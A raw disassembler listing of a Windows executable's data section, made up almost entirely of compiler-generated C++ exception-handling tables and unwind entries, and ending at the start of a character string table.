offset loc_4394F7 dd 1Fh, 439502h, 0 dd offset loc_43950D dd 0 dd offset loc_439518 dd 0 dd offset loc_439523 dd 0 dd offset loc_43952E dd 0 dd offset loc_439539 dd 25h, 439544h, 26h, 43954Fh, 0 dd offset loc_43954F dd 28h, 439544h, 0 dd offset loc_43955A dd 0 dd offset loc_439565 dd 2Bh, 439570h, 2Ch, 43957Bh, 0 dd offset loc_43957B dd 2Eh, 439570h, 2Eh, 439586h, 0 dd offset loc_439591 dd 31h, 43959Ch, 0 dd offset loc_4395A7 dd 0 dd offset loc_4395B2 dd 34h, 4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0) dword_43FC10 dd 19930520h, 1, 43FC30h, 5 dup(0) dd 0FFFFFFFFh, 439670h, 2 dup(0) dword_43FC40 dd 19930520h, 1, 43FC60h, 5 dup(0) dd 0FFFFFFFFh, 439690h, 2 dup(0) dword_43FC70 dd 19930520h, 6, 43FC90h, 5 dup(0) dd 0FFFFFFFFh, 4396B0h, 0 dd offset loc_4396B8 dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0) dword_43FCC8 dd 19930520h, 6, 43FCE8h, 5 dup(0) dd 0FFFFFFFFh, 439710h, 0 dd offset loc_439718 dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0) dword_43FD20 dd 19930520h, 0Ah, 43FD40h, 5 dup(0) dd 0FFFFFFFFh, 439770h, 0FFFFFFFFh, 439778h, 0FFFFFFFFh dd 439780h, 0FFFFFFFFh, 439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh dd 439798h, 0FFFFFFFFh, 4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh dd 4397B0h, 0FFFFFFFFh, 4397B8h, 4 dup(0) dword_43FDA0 dd 19930520h, 0Eh, 43FDC0h, 5 dup(0) dd 0FFFFFFFFh, 4397E0h, 0 dd offset loc_4397E8 dd 0FFFFFFFFh, 4397F3h, 0FFFFFFFFh, 4397FBh, 0FFFFFFFFh dd 439803h, 0FFFFFFFFh, 43980Bh, 5, 439816h, 0FFFFFFFFh dd 43981Eh, 0FFFFFFFFh, 439826h, 0FFFFFFFFh, 43982Eh, 9 dd 439839h, 0FFFFFFFFh, 439841h, 0Bh, 439849h, 0Ch, 439851h dd 4 dup(0) dword_43FE40 dd 19930520h, 2, 43FE60h, 5 dup(0) dd 0FFFFFFFFh, 439898h, 0 dd offset loc_439890 dd 2 dup(0) dword_43FE78 dd 19930520h, 2, 43FE98h, 5 dup(0) dd 0FFFFFFFFh, 4398D0h, 0 dd offset loc_4398D8 align 10h dword_43FEB0 dd 19930520h, 1, 43FED0h, 5 dup(0) dd 0FFFFFFFFh, 4398F0h, 2 dup(0) dword_43FEE0 dd 19930520h, 7, 43FF00h, 5 dup(0) dd 0FFFFFFFFh, 439910h, 0 dd offset loc_439918 dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h dd 2 dup(0) dword_43FF40 dd 19930520h, 4, 43FF60h, 5 dup(0) dd 0FFFFFFFFh, 439970h, 0 dd offset loc_43997B dd 1, 439986h, 2, 439991h, 2 dup(0) dword_43FF88 dd 19930520h, 4, 43FFA8h, 5 dup(0) dd 0FFFFFFFFh, 4399C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 99h, 43h, 0 dd 1, 4399D6h, 2, 4399E1h, 2 dup(0) dword_43FFD0 dd 19930520h, 2, 43FFF0h, 5 dup(0) dd 0FFFFFFFFh, 439A10h, 0FFFFFFFFh, 439A18h, 2 dup(0) dword_440008 dd 19930520h, 1, 440028h, 5 dup(0) dd 0FFFFFFFFh, 439A30h, 2 dup(0) dword_440038 dd 19930520h, 1, 440058h, 5 dup(0) dd 0FFFFFFFFh, 439A50h, 2 dup(0) dword_440068 dd 19930520h, 2, 440088h, 5 dup(0) dd 0FFFFFFFFh, 439A70h, 0 dd offset loc_439A78 align 10h dword_4400A0 dd 19930520h, 3, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439A90h, 0 dd offset loc_439A98 dd 1, 439AA3h, 2 dup(0) dword_4400E0 dd 19930520h, 3, 440100h, 5 dup(0) dd 0FFFFFFFFh, 439AD0h, 0 dd offset loc_439AD8 dd 1, 439AE0h, 2 dup(0) dword_440120 dd 19930520h, 1, 440140h, 5 dup(0) dd 0FFFFFFFFh, 439B00h, 2 dup(0) dword_440150 dd 19930520h, 4, 440170h, 5 dup(0) dd 0FFFFFFFFh, 439B20h, 0 dd offset loc_439B28 dd 0 dd offset loc_439B30 dd 0 dd offset loc_439B3B dd 2 dup(0) dword_440198 dd 19930520h, 6, 4401B8h, 5 dup(0) dd 0FFFFFFFFh, 439B60h, 0 dd offset loc_439B68 dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0) dword_4401F0 dd 19930520h, 3, 440210h, 5 dup(0) dd 0FFFFFFFFh, 439BB0h, 0 dd offset loc_439BBB dd 1, 439BC6h, 2 dup(0) dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439BF0h, 0 dd offset loc_439BF8 dd 1, 439C00h, 2, 439C08h, 2 dup(0) dword_440278 dd 19930520h, 5, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439C30h, 0 dd offset loc_439C38 dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0) dword_4402C8 dd 19930520h, 4, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 439C80h, 0 dd offset loc_439C88 dd 1, 439C93h, 2, 439C9Eh, 2 dup(0) dword_440310 dd 19930520h, 3, 440330h, 5 dup(0) dd 0FFFFFFFFh, 439CC0h, 0 dd offset loc_439CC8 dd 1, 439CD0h, 2 dup(0) dword_440350 dd 19930520h, 1, 440370h, 5 dup(0) dd 0FFFFFFFFh, 439CF0h, 2 dup(0) dword_440380 dd 19930520h, 2, 4403A0h, 5 dup(0) dd 0FFFFFFFFh, 439D10h, 0 dd offset loc_439D18 dd 2 dup(0) dword_4403B8 dd 19930520h, 2, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 0 dd offset loc_439D38 align 10h dword_4403F0 dd 19930520h, 3, 440410h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 0 dd offset loc_439D5B dd 1, 439D66h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439D90h, 2 dup(0) dword_440460 dd 19930520h, 1, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440490 dd 19930520h, 4, 4404B0h, 5 dup(0) dd 0FFFFFFFFh, 439DD0h, 0 dd offset loc_439DD8 dd 1, 439DE3h, 2, 439DEEh, 2 dup(0) dword_4404D8 dd 19930520h, 7, 4404F8h, 5 dup(0) dd 0FFFFFFFFh, 439E10h, 0FFFFFFFFh, 439E18h, 0FFFFFFFFh dd 439E20h, 2, 439E28h, 3, 439E30h, 4, 439E38h, 0FFFFFFFFh dd 439E40h, 2 dup(0) dword_440538 dd 19930520h, 1Bh, 440558h, 5 dup(0) dd 0FFFFFFFFh, 439E70h, 0 dd offset loc_439E78 dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh, 0Dh, 439F2Bh, 0Eh dd 439F39h, 0Fh, 439F47h, 10h, 439F55h, 11h, 439F63h, 12h dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh, 15h, 439F9Bh, 16h dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h, 19h, 439FD3h, 6 dup(0) dword_440648 dd 19930520h, 1Bh, 440668h, 5 dup(0) dd 0FFFFFFFFh, 43A050h, 0 dd offset loc_43A058 dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh, 0Dh, 43A10Bh, 0Eh dd 43A119h, 0Fh, 43A127h, 10h, 43A135h, 11h, 43A143h, 12h dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh, 15h, 43A17Bh, 16h dd 43A189h, 17h, 43A197h, 18h, 43A1A5h, 19h, 43A1B3h, 6 dup(0) dword_440758 dd 19930520h, 1, 440778h, 5 dup(0) dd 0FFFFFFFFh, 43A230h, 2 dup(0) dword_440788 dd 19930520h, 3Dh, 4407A8h, 5 dup(0) dd 0FFFFFFFFh, 43A250h, 0 dd offset loc_43A25B dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h, 0Dh, 43A30Eh, 0Eh dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h, 11h, 43A346h, 12h dd 43A354h, 13h, 43A362h, 14h, 43A370h, 15h, 43A37Eh, 16h dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h, 19h, 43A3B6h, 1Ah dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h, 1Dh, 43A3EEh, 1Eh dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h, 21h, 43A426h, 22h dd 43A434h, 23h, 43A442h, 24h, 43A450h, 25h, 43A45Eh, 26h dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h, 29h, 43A496h, 2Ah dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h, 2Dh, 43A4CEh, 2Eh dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h, 31h, 43A506h, 32h dd 43A514h, 33h, 43A522h, 34h, 43A530h, 35h, 43A53Eh, 36h dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h, 39h, 43A576h, 3Ah dd 43A584h, 3Bh, 43A592h, 0Eh dup(0) dword_4409C8 dd 19930520h, 4, 4409E8h, 5 dup(0) dd 0FFFFFFFFh, 43A680h, 0 dd offset loc_43A68B dd 1, 43A696h, 2, 43A6A1h, 2 dup(0) dword_440A10 dd 19930520h, 6, 440A30h, 5 dup(0) dd 0FFFFFFFFh, 43A6D0h, 0 dd offset loc_43A6DB dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0) dword_440A68 dd 19930520h, 4, 440A88h, 5 dup(0) dd 0FFFFFFFFh, 43A740h, 0 dd offset loc_43A74E dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0) dword_440AB0 dd 19930520h, 5, 440AD0h, 5 dup(0) dd 0FFFFFFFFh, 43A7A0h, 0 dd offset loc_43A7AB dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0) dword_440B00 dd 19930520h, 5, 440B20h, 5 dup(0) dd 0FFFFFFFFh, 43A800h, 0 dd offset loc_43A80B dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0) dword_440B50 dd 19930520h, 1, 440B70h, 5 dup(0) dd 0FFFFFFFFh, 43A860h, 2 dup(0) dword_440B80 dd 19930520h, 1, 440BA0h, 5 dup(0) dd 0FFFFFFFFh, 43A880h, 2 dup(0) dword_440BB0 dd 19930520h, 1, 440BD0h, 5 dup(0) dd 0FFFFFFFFh, 43A8A0h, 2 dup(0) dword_440BE0 dd 19930520h, 2, 440C00h, 5 dup(0) dd 0FFFFFFFFh, 43A8C0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0A8h, 43h, 0 dd 2 dup(0) dword_440C18 dd 19930520h, 4, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A8F0h, 0 dd offset loc_43A8FB dd 1, 43A906h, 2, 43A911h, 2 dup(0) dword_440C60 dd 19930520h, 4, 440C80h, 5 dup(0) dd 0FFFFFFFFh, 43A940h, 0 dd offset loc_43A94B dd 1, 43A956h, 2, 43A961h, 2 dup(0) dword_440CA8 dd 19930520h, 6, 440CC8h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 0 dd offset loc_43A99B dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0) dword_440D00 dd 19930520h, 4, 440D20h, 5 dup(0) dd 0FFFFFFFFh, 43AA00h, 0 dd offset loc_43AA0E dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0) dword_440D48 dd 19930520h, 5, 440D68h, 5 dup(0) dd 0FFFFFFFFh, 43AA60h, 0 dd offset loc_43AA6B dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0) dword_440D98 dd 19930520h, 5, 440DB8h, 5 dup(0) dd 0FFFFFFFFh, 43AAC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0AAh, 43h, 0 dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0) dword_440DE8 dd 19930520h, 1, 440E08h, 5 dup(0) dd 0FFFFFFFFh, 43AB20h, 2 dup(0) dword_440E18 dd 19930520h, 1, 440E38h, 5 dup(0) dd 0FFFFFFFFh, 43AB40h, 2 dup(0) dword_440E48 dd 19930520h, 1, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB60h, 2 dup(0) dword_440E78 dd 19930520h, 2, 440E98h, 5 dup(0) dd 0FFFFFFFFh, 43AB80h, 0 dd offset loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db 